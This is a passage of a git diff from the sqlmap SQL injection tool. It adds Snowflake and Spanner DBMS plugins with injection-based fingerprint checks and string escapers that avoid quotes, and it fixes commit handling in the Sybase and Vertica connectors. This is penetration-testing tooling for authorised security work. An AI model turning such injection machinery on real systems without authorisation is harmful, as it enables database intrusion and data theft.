b/plugins/dbms/raima/connector.py index a095cf8c624..75e1c30f8fc 100644 --- a/plugins/dbms/raima/connector.py +++ b/plugins/dbms/raima/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index 449dad43cdb..b0cbd38208a 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py index d537b09aca7..817d0e20ff6 100644 --- a/plugins/dbms/raima/filesystem.py +++ b/plugins/dbms/raima/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index 0ed21dbcd3b..a62a674dedf 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py index 27a7f0ddf58..cfc1c86a8ca 100644 --- a/plugins/dbms/raima/syntax.py +++ b/plugins/dbms/raima/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py index e375ddb7967..01bce20a13d 100644 --- a/plugins/dbms/raima/takeover.py +++ b/plugins/dbms/raima/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py new file mode 100644 index 00000000000..c3318596441 --- /dev/null +++ b/plugins/dbms/snowflake/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SNOWFLAKE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.snowflake.enumeration import Enumeration +from plugins.dbms.snowflake.filesystem import Filesystem +from plugins.dbms.snowflake.fingerprint import Fingerprint +from plugins.dbms.snowflake.syntax import Syntax +from plugins.dbms.snowflake.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Snowflake methods + """ + + def __init__(self): + self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SNOWFLAKE] = Syntax.escape diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py new file mode 100644 index 00000000000..cad4fd3a932 --- /dev/null +++ b/plugins/dbms/snowflake/connector.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import snowflake.connector +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://www.snowflake.com/ + User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector + API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + + # Snowflake's mandatory 'account' identifier is carried in the DSN host field + # (e.g. -d "snowflake://user:pass@ACCOUNT/db"); warehouse/schema are optional. These were previously + # read from self.account/self.warehouse/self.schema which were never set anywhere -> AttributeError on + # every attempt. + self.account = self.hostname + self.warehouse = getattr(self, "warehouse", None) + self.schema = getattr(self, "schema", None) + + try: + self.connector = snowflake.connector.connect( + user=self.user, + password=self.password, + account=self.account, + warehouse=self.warehouse, + database=self.db, + schema=self.schema + ) + cursor = self.connector.cursor() + cursor.execute("SELECT CURRENT_VERSION()") + cursor.close() + + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(getText(query)) + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py new file mode 100644 index 00000000000..c742a6960c9 --- /dev/null +++ b/plugins/dbms/snowflake/enumeration.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Snowflake it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Snowflake it is not possible to search databases" + logger.warning(warnMsg) + return [] + + def searchColumn(self): + errMsg = "on Snowflake it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py new file mode 100644 index 00000000000..23ba254b08b --- /dev/null +++ b/plugins/dbms/snowflake/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Snowflake it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Snowflake it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py new file mode 100644 index 00000000000..512e7427e4c --- /dev/null +++ b/plugins/dbms/snowflake/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SNOWFLAKE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse + * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): + setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) + self.getBanner() + return True + + infoMsg = "testing %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") + if result: + infoMsg = "confirming %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + return False + + setDbms(DBMS.SNOWFLAKE) + self.getBanner() + return True + + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/snowflake/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py new file mode 100644 index 00000000000..0acd82169f0 --- /dev/null +++ b/plugins/dbms/snowflake/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/spanner/__init__.py b/plugins/dbms/spanner/__init__.py new file mode 100644 index 00000000000..c93099298f9 --- /dev/null +++ b/plugins/dbms/spanner/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SPANNER_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.spanner.enumeration import Enumeration +from plugins.dbms.spanner.filesystem import Filesystem +from plugins.dbms.spanner.fingerprint import Fingerprint +from plugins.dbms.spanner.syntax import Syntax +from plugins.dbms.spanner.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SpannerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Spanner methods + """ + + def __init__(self): + self.excludeDbsList = SPANNER_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SPANNER] = Syntax.escape diff --git a/plugins/dbms/spanner/connector.py b/plugins/dbms/spanner/connector.py new file mode 100644 index 00000000000..83a868de757 --- /dev/null +++ b/plugins/dbms/spanner/connector.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass diff --git a/plugins/dbms/spanner/enumeration.py b/plugins/dbms/spanner/enumeration.py new file mode 100644 index 00000000000..afeddf49630 --- /dev/null +++ b/plugins/dbms/spanner/enumeration.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import SPANNER_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return SPANNER_DEFAULT_SCHEMA + + def getCurrentUser(self): + warnMsg = "on Spanner it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Spanner it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Spanner it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Spanner it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Spanner it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/spanner/filesystem.py b/plugins/dbms/spanner/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/spanner/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/spanner/fingerprint.py b/plugins/dbms/spanner/fingerprint.py new file mode 100644 index 00000000000..c0046d2aebf --- /dev/null +++ b/plugins/dbms/spanner/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SPANNER_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SPANNER) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SPANNER + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(SPANNER_ALIASES): + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("FARM_FINGERPRINT('sqlmap') IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("SAFE_CAST(1 AS INT64)=1") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False + + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/spanner/syntax.py b/plugins/dbms/spanner/syntax.py new file mode 100644 index 00000000000..bf6ab5ddb60 --- /dev/null +++ b/plugins/dbms/spanner/syntax.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + Note: Google Standard SQL (Spanner) natively supports converting integer arrays + to strings via CODE_POINTS_TO_STRING(). This is much cleaner and shorter + than chaining multiple CHR() functions with the || operator. + + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE_POINTS_TO_STRING([97, 98, 99, 100, 101, 102, 103, 104]) FROM foobar" + True + """ + + def escaper(value): + return "CODE_POINTS_TO_STRING([%s])" % ", ".join(str(_) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/spanner/takeover.py b/plugins/dbms/spanner/takeover.py new file mode 100644 index 00000000000..6480966e80c --- /dev/null +++ b/plugins/dbms/spanner/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Spanner it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Spanner it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 4695462c756..cb8703b7a6f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 7ec752f7d3b..0b167273df1 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index b5a9176748a..18df65145e8 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 3bbb5ef8350..ad1bc2622d4 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index b57e788d0f6..5a2d7f159c6 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -93,7 +93,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) - result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") + result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 7e6f4046e6c..62a9379fa50 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 3b96a5c0f4e..1ed29162e6f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index dee9b5c9533..02b471b1636 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 1514d32e28e..308f9081217 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 9f254c97727..cc984bce978 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -265,9 +265,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: - table = {} - table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) continue infoMsg = "fetching columns " @@ -286,8 +286,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns break diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index ca60dc49afe..0a3e73bf7b4 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index c37b8754eb9..64b66ba4268 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 1d4b9cf8bf7..53f0bea1bc1 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 931f35a4428..ccc94f21e20 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py index 55db33d987d..2d0f69528e0 100644 --- a/plugins/dbms/vertica/__init__.py +++ b/plugins/dbms/vertica/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index 75cf1c1617b..6809989369c 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -44,7 +44,7 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: @@ -52,8 +52,13 @@ def execute(self, query): except vertica_python.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit 